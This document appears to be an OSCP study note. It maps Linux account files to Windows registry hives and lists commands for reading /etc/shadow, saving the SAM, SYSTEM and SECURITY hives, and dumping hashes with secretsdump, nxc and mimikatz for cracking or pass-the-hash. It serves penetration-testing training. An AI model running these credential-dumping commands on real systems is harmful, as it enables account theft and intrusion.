Registry Hives & Linux Equivalents
The Windows equivalent is different because Windows does not store local account information in plaintext files like Linux.
Where local users, groups, and password hashes live on Linux vs Windows — Windows uses registry hives under C:\Windows\System32\config\.
Search terms: registry hives · SAM · SYSTEM · SECURITY · SOFTWARE ·
/etc/passwd·/etc/shadow·/etc/group· NTDS.dit
Domain (AD) accounts live in NTDS.dit on the DC — not in local SAM. NTDS.dit · secretsdump · Credential Graph
Linux vs Windows — quick map
| Linux | Windows equivalent | Typical location |
|---|---|---|
/etc/passwd | Local user account database (SAM) | C:\Windows\System32\config\SAM |
/etc/shadow | Password hashes stored in the SAM registry hive | C:\Windows\System32\config\SAM |
/etc/group | Local groups | C:\Windows\System32\config\SAM and SECURITY |
Important: On Windows, usernames and NTLM hashes for local accounts are both in the SAM hive. You need the SYSTEM hive to decrypt/extract SAM hashes offline.
Linux splits readable account info (passwd) from hash storage (shadow). Windows keeps both in SAM (hashes are encrypted with a key stored in SYSTEM).
Related registry hive files
Default on-disk paths (OS must be offline, or use reg save / backup priv — files are locked while Windows runs):
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SECURITY
C:\Windows\System32\config\SOFTWARE
Registry key equivalents (for reg save):
HKLM\SAM
HKLM\SYSTEM
HKLM\SECURITY
HKLM\SOFTWARE
What they contain
- SAM — Local users and password hashes.
- SYSTEM — System configuration and boot information; also contains data needed to interpret credentials stored in the SAM.
- SECURITY — Local security policy and secrets (LSA secrets, cached domain logons, audit policy).
- SOFTWARE — Installed software, application settings, uninstall keys, some stored credentials.
| Hive | OSCP use |
|---|---|
| SAM | Local users + NTLM hashes |
| SYSTEM | Required with SAM to decrypt hashes offline |
| SECURITY | LSA secrets, cached domain creds |
| SOFTWARE | Installed apps, sometimes creds in registry |
For hash dumping you almost always need SAM + SYSTEM. Add SECURITY for LSA secrets / cached domain logons.
Linux — read & enumerate
cat /etc/passwd
cat /etc/passwd | grep -v "nologin\|false" | cut -d: -f1 # interactive users
cat /etc/group
cat /etc/shadow # rarely readable without root
sudo cat /etc/shadowCrack Linux hashes → John unshadow · Hashcat modes 1800/500/7400.
Privesc if writable → Linux sections on /etc/passwd and /etc/shadow.
Windows — dump hives for offline crack
reg save (admin or SeBackupPrivilege)
On-box manual — from Kali prefer nxc -M backup_operator → CrackMapExec - nxc > OSCP — Backup Operators / SeBackupPrivilege (backup_operator)
All on-box paths (diskshadow, robocopy, wbadmin, DLLs, reg save) → SeBackupPrivilege
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
reg save HKLM\SECURITY C:\Temp\SECURITYDownload to Kali, then:
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCALRemote dump (admin creds or Backup Operators)
# Admin
impacket-secretsdump DOMAIN/user:pass@TARGET
nxc smb TARGET -u user -p pass --sam
# SeBackupPrivilege / SeRestorePrivilege — no admin (Backup Operators)
nxc smb TARGET -u svc_backup -H NTHASH -M backup_operator
# On-box: [[SeBackupPrivilege]]In-memory (no file copy)
mimikatz
privilege::debug
lsadump::sam
sekurlsa::logonpasswords→ Mimikatz · secretsdump · Windows PrivEsc
Domain vs local (AD)
| Store | Location | Tool |
|---|---|---|
| Local users/hashes | SAM + SYSTEM | secretsdump LOCAL · Mimikatz lsadump::sam |
| Domain accounts | NTDS.dit on DC | NTDS.dit · secretsdump -just-dc · DCSync · Mimikatz |
| Cached domain logons | SECURITY / LSA | secretsdump · lsadump::cache |
OSCP mental model
Linux shell → /etc/passwd (users) + /etc/shadow (hashes if readable)
Windows shell → SAM (users+hashes) + SYSTEM (decrypt key)
copy/save both → secretsdump LOCAL → Hashcat/John/PtH
AD domain → NTDS.dit on DC (not SAM) → [[NTDS.dit]] → DCSync / secretsdump